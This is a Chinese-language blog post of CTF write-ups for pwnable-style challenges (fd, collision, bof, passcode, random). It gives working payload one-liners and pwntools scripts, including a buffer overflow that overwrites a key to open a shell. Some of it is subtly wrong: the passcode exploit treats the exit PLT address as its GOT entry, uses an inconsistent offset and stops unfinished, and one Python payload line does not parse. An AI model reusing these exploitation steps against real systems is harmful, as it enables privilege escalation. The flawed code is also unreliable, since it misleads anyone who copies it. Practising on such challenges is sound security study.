PWNABLE练习

PWNABLE练习

fd

char buf[32];
int main(int argc, char* argv[], char* envp[]){
        if(argc<2){
                printf("pass argv[1] a number\n");
                return 0;
        }
        int fd = atoi( argv[1] ) - 0x1234;
        int len = 0;
        len = read(fd, buf, 32);
        if(!strcmp("LETMEWIN\n", buf)){
                printf("good job :)\n");
                setregid(getegid(), getegid());
                system("/bin/cat flag");
                exit(0);
        }
        printf("learn about Linux file IO\n");
        return 0;

}

考察文件描述符,程序接受了一个参数,令fd=参数-0x1234,fd在read函数里决定输入方式,同时我们要输入LETMEWIN提权读出flag,这里补一下文件描述符的知识

在Linux中:

  • 0 = 标准输入(stdin) - 从键盘/管道读取

  • 1 = 标准输出(stdout) - 输出到屏幕

  • 2 = 标准错误(stderr) - 错误信息输出

注意下这条语句``

 strcmp("LETMEWIN\n", buf) == 0
!0 == 1  // 真
if(1) 条件成立

srtcmp()函数比较两组数据,返回值为两者相减,前减后

collision

代码如下

#include <stdio.h>
#include <string.h>
unsigned long hashcode = 0x21DD09EC;
unsigned long check_password(const char* p){
        int* ip = (int*)p;
        int i;
        int res=0;
        for(i=0; i<5; i++){
                res += ip[i];
        }
        return res;
}

int main(int argc, char* argv[]){
        if(argc<2){
                printf("usage : %s [passcode]\n", argv[0]);
                return 0;
        }
        if(strlen(argv[1]) != 20){
                printf("passcode length should be 20 bytes\n");
                return 0;
        }

        if(hashcode == check_password( argv[1] )){
                setregid(getegid(), getegid());
                system("/bin/cat flag");
                return 0;
        }
        else
                printf("wrong passcode.\n");
        return 0;
}

这里程序接受了一个char类型的参数,在check函数中通过强制类型转换为int*类型(四字节),然后将这五个数相加,验证是否等于unsigned long hashcode ,输出flag,我们不妨想个最简单的方式,前四个数都是0x00000001,第五个数为0x21DD09E8.

AI给出的脚本如下

import sys
import struct

def main():
    target = 0x21DD09EC

    # 策略:四个 1,一个 (target-4)
    # 这样构造可以避免输入中出现奇怪的字符导致被截断(尽量避开 \x00,但这里很难完全避开)
    part1 = 1
    part2 = target - 4

    # 使用 struct 将整数打包为4字节的二进制数据 (小端序)
    # '<' 表示小端序, 'I' 表示无符号整数 (4字节)
    payload = b""
    payload += struct.pack('<I', part1) # 前4字节
    payload += struct.pack('<I', part1) # 第5-8字节
    payload += struct.pack('<I', part1) # 第9-12字节
    payload += struct.pack('<I', part1) # 第13-16字节
    payload += struct.pack('<I', part2) # 第17-20字节

    # 验证长度
    if len(payload) != 20:
        print("错误:长度不是20字节")
        return

    # 输出二进制数据到 stdout (原始字节)
    sys.stdout.buffer.write(payload)

if __name__ == "__main__":
    main()
./col $(echo -ne '\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\xE8\x05\xD9\x1D')

解释:

  • echo -ne:-n 不换行,-e 解释转义字符

  • \x01 会被正确解释为1个字节

  • $() 将echo的输出作为命令行参数

import struct

# 1. 计算正确的二进制 Payload
target = 0x21DD09EC
part1 = 1
part2 = target - 4

payload_bytes = b""
payload_bytes += struct.pack('<I', part1)
payload_bytes += struct.pack('<I', part1)
payload_bytes += struct.pack('<I', part1)
payload_bytes += struct.pack('<I', part1)
payload_bytes += struct.pack('<I', part2)

# 2. 转换为 \x 格式字符串
# 遍历每个字节,格式化为 \x 加上两位十六进制数
hex_string = ''.join(f'\\x{byte:02x}' for byte in payload_bytes)

# 3. 输出结果
print("二进制数据的 \\x 表示形式:")
print(hex_string)

# 4. (可选) 保存到文本文件
with open('payload_hex.txt', 'w') as f:
    f.write(hex_string)

print("\n已保存到 payload_hex.txt")

bof

代码如下

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
        char overflowme[32];
        printf("overflow me : ");
        gets(overflowme);       // smash me!
        if(key == 0xcafebabe){
                setregid(getegid(), getegid());
                system("/bin/sh");
        }
        else{
                printf("Nah..\n");
        }
}
int main(int argc, char* argv[]){
        func(0xdeadbeef);
        return 0;
}

这里定义了key,当key被覆盖为指定值时获取shell,这里我们使用gdb调试

将源码拷下来,重新编译

gcc -m32 -g -std=gnu89 -o bof_debug bof.c

打断点,找栈里面的变量

gdb ./bof_debug
(gdb) break func
(gdb) run
pwndbg> print &overflowme
$1 = (char (*)[32]) 0xffffce80
pwndbg> print &key
$2 = (int *) 0xffffceb0

相差五十二个字节

构造payload

python3 -c "import sys; sys.stdout.buffer.write(b'A'*52 + b'\xbe\xba\xfe\xca')" | ./bof_local

or

import struct # 导入struct模块,用于处理二进制数据

offset = 52 # 从overflowme到key的距离(52字节)
 # 这是通过调试或已知信息得到的

payload = b"A" * offset # 1. 填充52个'A'(ASCII 0x41)
 + struct.pack("<I", 0xcafebabe) # 2. 加上目标值(小端序)

struct.pack("<I", 0xcafebabe) 解释:

"<" 表示小端序(Little Endian)

"I" 表示unsigned int(4字节无符号整

0xcafebabe 是要打包的值

结果是:b'\xbe\xba\xfe\xca'

最终payload:b'AAAAAAAA...AAAAA\xbe\xba\xfe\xca'(总共56字节)

0xcafebabe在内存中不是直接存为\xca\xfe\xba\xbe

x86/x64使用小端序:低字节在前所以存为:\xbe\xba\xfe\xca

payload = b"A"*52 + struct.pack("<I", 0xcafebabe) # ✅ 自动小端序
  • "<I":小端序的4字节整数

  • ">I":大端序的4字节整数

  • "<Q":小端序的8字节整数(64位)

  • "<H":小端序的2字节整数

三、攻击执行的两种方法
方法1:Python直接管道(一行命令)

(python3 -c '
import struct
import sys
payload = b"A"*52 + struct.pack("<I", 0xcafebabe)
sys.stdout.buffer.write(payload)  # 将payload写入标准输出
'; cat -) | ./bof
python3 -c '...':执行一段Python代码

sys.stdout.buffer.write(payload):输出二进制payload

cat -:保持管道打开,等待用户输入(用于shell交互)

| ./bof:将输出作为bof程序的输入

为什么需要cat -?

没有cat -:python输出完就关闭管道,shell无法接收输入

有cat -:保持管道打开,你可以输入shell命令(如ls、cat flag)

# 1. 生成payload文件
python3 -c '
import struct
payload = b"A"*52 + struct.pack("<I", 0xcafebabe)
with open("payload.bin", "wb") as f:
    f.write(payload)
'

# 2. 攻击
(cat payload.bin; cat -) | ./bof

简洁一点

from pwn import *
payload = b"A"*52 + p32(0xcafebabe)
write("payload.bin", payload)

passcode

代码如下

#include <stdio.h>
#include <stdlib.h>

void login(){
        int passcode1;
        int passcode2;

        printf("enter passcode1 : ");
        scanf("%d", passcode1);
        fflush(stdin);

        // ha! mommy told me that 32bit is vulnerable to bruteforcing :)
        printf("enter passcode2 : ");
        scanf("%d", passcode2);

        printf("checking...\n");
        if(passcode1==123456 && passcode2==13371337){
                printf("Login OK!\n");
                setregid(getegid(), getegid());
                system("/bin/cat flag");
        }
        else{
                printf("Login Failed!\n");
                exit(0);
        }
}

void welcome(){
        char name[100];
        printf("enter you name : ");
        scanf("%100s", name);
        printf("Welcome %s!\n", name);
}

int main(){
        printf("Toddler's Secure Login System 1.1 beta.\n");

        welcome();
        login();

        // something after login...
        printf("Now I can safely trust you that you have credential :)\n");
        return 0;
}

这里模拟了一个失败的登录系统,在使用scanf函数将键盘输入读到变量里面时漏掉取址符,登录时不能正常登入,注意到代码包含exit跳转函数,我们考虑got表劫持方法

思路:我们在这里有三次输入机会,用户名、passcode1,passcode2,考虑到用户名和passcode12不在同一个函数里面,考虑栈残留将passcode1值修改为exit的got表地址,在输入passcode1时写入成功分支的地址,触发exit函数,跳转到成功分支获取flag

操作:

  1. 断点调试
# 设置断点
break welcome
break login

# 运行
continue

# 查看变量地址
print &passcode1
print &name

# 计算偏移
python print(0xffffce4c- 0xffffceac)  # passcode1地址 - name地址
  1. 拿到成功分支和exitgot表地址
objdump -R passcode | grep exit              
00004018 R_386_JUMP_SLOT   exit@GLIBC_2.0

注意,我们这里拿到的是exit函数的虚拟地址,我们还需要确定程序的基地址

补充知识:

内存范围 文件偏移 权限 段类型
0x56555000-0x56556000 0x0 r--p ELF头、只读数据
0x56556000-0x56557000 0x1000 r-xp 代码段(.text)
0x56557000-0x56558000 0x2000 r--p 只读数据段(.rodata)
0x56559000-0x5655a000 0x3000 rw-p 数据段(.data)

我们这里采用gdb来拿到基地址

info proc mappings

返回:

Start Addr End Addr   Size       Offset     Perms File 
0x56555000 0x56556000 0x1000     0x0        r--p  /home/kali/Desktop/passcode 
0x56556000 0x56557000 0x1000     0x1000     r-xp  /home/kali/Desktop/passcode 
0x56557000 0x56558000 0x1000     0x2000     r--p  /home/kali/Desktop/passcode 
0x56558000 0x56559000 0x1000     0x2000     r--p  /home/kali/Desktop/passcode 
0x56559000 0x5655a000 0x1000     0x3000     rw-p  /home/kali/Desktop/passcode 
0xf7d5d000 0xf7d81000 0x24000    0x0        r--p  /usr/lib/i386-linux-gnu/libc.so.6                                                                       
0xf7d81000 0xf7f0a000 0x189000   0x24000    r-xp  /usr/lib/i386-linux-gnu/libc.so.6                                                                       
0xf7f0a000 0xf7f8f000 0x85000    0x1ad000   r--p  /usr/lib/i386-linux-gnu/libc.so.6                                                                       
0xf7f8f000 0xf7f91000 0x2000     0x232000   r--p  /usr/lib/i386-linux-gnu/libc.so.6                                                                       
0xf7f91000 0xf7f92000 0x1000     0x234000   rw-p  /usr/lib/i386-linux-gnu/libc.so.6                                                                       
0xf7f92000 0xf7f9c000 0xa000     0x0        rw-p   
0xf7fbc000 0xf7fbe000 0x2000     0x0        rw-p   
0xf7fbe000 0xf7fc2000 0x4000     0x0        r--p  [vvar] 
0xf7fc2000 0xf7fc4000 0x2000     0x0        r--p  [vvar_vclock] 
0xf7fc4000 0xf7fc6000 0x2000     0x0        r-xp  [vdso] 
0xf7fc6000 0xf7fc7000 0x1000     0x0        r--p  /usr/lib/i386-linux-gnu/ld-linux.so.2                                                                   
0xf7fc7000 0xf7fec000 0x25000    0x1000     r-xp  /usr/lib/i386-linux-gnu/ld-linux.so.2                                                                   
0xf7fec000 0xf7ffb000 0xf000     0x26000    r--p  /usr/lib/i386-linux-gnu/ld-linux.so.2                                                                   
0xf7ffb000 0xf7ffd000 0x2000     0x34000    r--p  /usr/lib/i386-linux-gnu/ld-linux.so.2                                                                   
0xf7ffd000 0xf7ffe000 0x1000     0x36000    rw-p  /usr/lib/i386-linux-gnu/ld-linux.so.2                                                                   
0xfffdd000 0xffffe000 0x21000    0x0        rw-p  [stack] 

查看段信息

readelf -S passcode | grep -A 1 "\.got\.plt"

返回

[23] .got.plt          PROGBITS        00003ff4 002ff4 000030 04  WA  0   0  4
[24] .data             PROGBITS        00004024 003024 000008 00  WA  0   0  4

或者通过gdb直接拿到

info functions exit@plt

返回

pwndbg> info functions exit@plt
All functions matching regular expression "exit@plt":

Non-debugging symbols:
0x56556090  exit@plt
pwndbg> 
disas login
#通过系统调用特征找到跳转位置
0x565561fd <+0>:     push   ebp
   0x565561fe <+1>:     mov    ebp,esp
   0x56556200 <+3>:     push   esi
   0x56556201 <+4>:     push   ebx
   0x56556202 <+5>:     sub    esp,0x10
   0x56556205 <+8>:     call   0x56556100 <__x86.get_pc_thunk.bx>
   0x5655620a <+13>:    add    ebx,0x2dea
   0x56556210 <+19>:    sub    esp,0xc
=> 0x56556213 <+22>:    lea    eax,[ebx-0x1fec]
   0x56556219 <+28>:    push   eax
   0x5655621a <+29>:    call   0x56556040 <printf@plt>
   0x5655621f <+34>:    add    esp,0x10
   0x56556222 <+37>:    sub    esp,0x8
   0x56556225 <+40>:    push   DWORD PTR [ebp-0xc]
   0x56556228 <+43>:    lea    eax,[ebx-0x1fd9]
   0x5655622e <+49>:    push   eax
   0x5655622f <+50>:    call   0x565560b0 <__isoc99_scanf@plt>
   0x56556234 <+55>:    add    esp,0x10
   0x56556237 <+58>:    mov    eax,DWORD PTR [ebx-0xc]
   0x5655623d <+64>:    mov    eax,DWORD PTR [eax]
   0x5655623f <+66>:    sub    esp,0xc
   0x56556242 <+69>:    push   eax
   0x56556243 <+70>:    call   0x56556050 <fflush@plt>
   0x56556248 <+75>:    add    esp,0x10
   0x5655624b <+78>:    sub    esp,0xc
   0x5655624e <+81>:    lea    eax,[ebx-0x1fd6]
   0x56556254 <+87>:    push   eax
   0x56556255 <+88>:    call   0x56556040 <printf@plt>
   0x5655625a <+93>:    add    esp,0x10
   0x5655625d <+96>:    sub    esp,0x8
   0x56556260 <+99>:    push   DWORD PTR [ebp-0x10]
   0x56556263 <+102>:   lea    eax,[ebx-0x1fd9]
   0x56556269 <+108>:   push   eax
   0x5655626a <+109>:   call   0x565560b0 <__isoc99_scanf@plt>
   0x5655626f <+114>:   add    esp,0x10
   0x56556272 <+117>:   sub    esp,0xc
   0x56556275 <+120>:   lea    eax,[ebx-0x1fc3]
   0x5655627b <+126>:   push   eax
   0x5655627c <+127>:   call   0x56556070 <puts@plt>
   0x56556281 <+132>:   add    esp,0x10
   0x56556284 <+135>:   cmp    DWORD PTR [ebp-0xc],0x1e240
   0x5655628b <+142>:   jne    0x565562d5 <login+216>
   0x5655628d <+144>:   cmp    DWORD PTR [ebp-0x10],0xcc07c9
   0x56556294 <+151>:   jne    0x565562d5 <login+216>
   0x56556296 <+153>:   sub    esp,0xc
   0x56556299 <+156>:   lea    eax,[ebx-0x1fb7]
   0x5655629f <+162>:   push   eax
   0x565562a0 <+163>:   call   0x56556070 <puts@plt>
   0x565562a5 <+168>:   add    esp,0x10
   0x565562a8 <+171>:   call   0x56556060 <getegid@plt>
   0x565562ad <+176>:   mov    esi,eax
   0x565562af <+178>:   call   0x56556060 <getegid@plt>
   0x565562b4 <+183>:   sub    esp,0x8
   0x565562b7 <+186>:   push   esi
   0x565562b8 <+187>:   push   eax
   0x565562b9 <+188>:   call   0x565560a0 <setregid@plt>
   0x565562be <+193>:   add    esp,0x10
   0x565562c1 <+196>:   sub    esp,0xc
   0x565562c4 <+199>:   lea    eax,[ebx-0x1fad]
   0x565562ca <+205>:   push   eax
   0x565562cb <+206>:   call   0x56556080 <system@plt>
   0x565562d0 <+211>:   add    esp,0x10
   0x565562d3 <+214>:   jmp    0x565562f1 <login+244>
   0x565562d5 <+216>:   sub    esp,0xc
   0x565562d8 <+219>:   lea    eax,[ebx-0x1f9f]
   0x565562de <+225>:   push   eax
   0x565562df <+226>:   call   0x56556070 <puts@plt>
   0x565562e4 <+231>:   add    esp,0x10
   0x565562e7 <+234>:   sub    esp,0xc
   0x565562ea <+237>:   push   0x0
   0x565562ec <+239>:   call   0x56556090 <exit@plt>
   0x565562f1 <+244>:   nop
   0x565562f2 <+245>:   lea    esp,[ebp-0x8]
   0x565562f5 <+248>:   pop    ebx
   0x565562f6 <+249>:   pop    esi
   0x565562f7 <+250>:   pop    ebp
   0x565562f8 <+251>:   ret
End of assembler dump.
  #注意到0x565562cb有关于system调用,c4有导入参数,从c4开始执行

构造攻击脚本

from pwn import *

# 设置上下文
context.binary = './program'

# 关键地址
exit_got = 0x56556090      # exit@GOT地址
success_addr = 0x565562c4# 登录成功地址

# 构造name输入
# 需要96字节填充 + 4字节的exit_got地址
payload = b"A" * 96 + p32(exit_got)

print(f"Payload length: {len(payload)} bytes")
print(f"Success address decimal: {success_addr}")

random

代码如下

#include <stdio.h>

int main(){
        unsigned int random;
        random = rand();        // random value!

        unsigned int key=0;
        scanf("%d", &key);

        if( (key ^ random) == 0xcafebabe ){
                printf("Good!\n");
                setregid(getegid(), getegid());
                system("/bin/cat flag");
                return 0;
        }

        printf("Wrong, maybe you should try 2^32 cases.\n");
        return 0;
}

这里程序使用rand()函数生成了个随机数,这里介绍下rand()函数,通常采用LCG线性同余生成器,其采取的种子在没有使用srand函数的时候一般是固定的,我们这里在获取随机数后和键盘输入的key进行xor运算,如果和设定的值相当输出flag,我们通过调试拿到这个默认种子

gdb random
beak main

输出

────────────────────────────────[ DISASM / x86-64 / set emulate off ]─────────────────────────────────
 ► 0x5571bf4e5211 <main+8>     push   rbx
   0x5571bf4e5212 <main+9>     sub    rsp, 0x18
   0x5571bf4e5216 <main+13>    mov    rax, qword ptr fs:[0x28]        RAX, [0x7fb218b10768]
   0x5571bf4e521f <main+22>    mov    qword ptr [rbp - 0x18], rax
   0x5571bf4e5223 <main+26>    xor    eax, eax                        EAX => 0
   0x5571bf4e5225 <main+28>    mov    eax, 0                          EAX => 0
   0x5571bf4e522a <main+33>    call   rand@plt                    <rand@plt>

   0x5571bf4e522f <main+38>    mov    dword ptr [rbp - 0x1c], eax
   0x5571bf4e5232 <main+41>    mov    dword ptr [rbp - 0x20], 0
   0x5571bf4e5239 <main+48>    lea    rax, [rbp - 0x20]
   0x5571bf4e523d <main+52>    mov    rsi, rax

发现六步之后调用了rand函数

继续执行stepi 6

输出

0x56374b438110 <rand@plt>      endbr64
   0x56374b438114 <rand@plt+4>    bnd jmp qword ptr [rip + 0x2eb5]   <rand>
    ↓
   0x7f6a2daa3760 <rand>          endbr64
   0x7f6a2daa3764 <rand+4>        sub    rsp, 8
   0x7f6a2daa3768 <rand+8>        call   random                      <random>

   0x7f6a2daa376d <rand+13>       add    rsp, 8
   0x7f6a2daa3771 <rand+17>       ret

我们知道,函数返回值一般存在cpu的eax寄存器里,执行完这个函数finish

输出

0x5645ced50216 <main+13>    mov    rax, qword ptr fs:[0x28]        RAX, [0x7fc65cb23768]
   0x5645ced5021f <main+22>    mov    qword ptr [rbp - 0x18], rax
   0x5645ced50223 <main+26>    xor    eax, eax                        EAX => 0
   0x5645ced50225 <main+28>    mov    eax, 0                          EAX => 0
   0x5645ced5022a <main+33>    call   rand@plt                    <rand@plt>

 ► 0x5645ced5022f <main+38>    mov    dword ptr [rbp - 0x1c], eax     [0x7ffd0a537354] <= 0x6b8b4567
   0x5645ced50232 <main+41>    mov    dword ptr [rbp - 0x20], 0
   0x5645ced50239 <main+48>    lea    rax, [rbp - 0x20]
   0x5645ced5023d <main+52>    mov    rsi, rax
   0x5645ced50240 <main+55>    lea    rax, [rip + 0xdc1]              RAX => 0x5645ced51008 ◂— 0x21646f6f47006425 /* '%d' */
   0x5645ced50247 <main+62>    mov    rdi, rax

这里我们发现执行完rand函数之后eax的值存在rbp- 0x1c的地方了,结合代码也就是random的地址,我们直接读eax或者是读random地址下的值都可以

print $eax
x/uw $rbp - 0x1c

以上

posted on 2026-03-08 21:25  AIL0  阅读(4)  评论(0)    收藏  举报

导航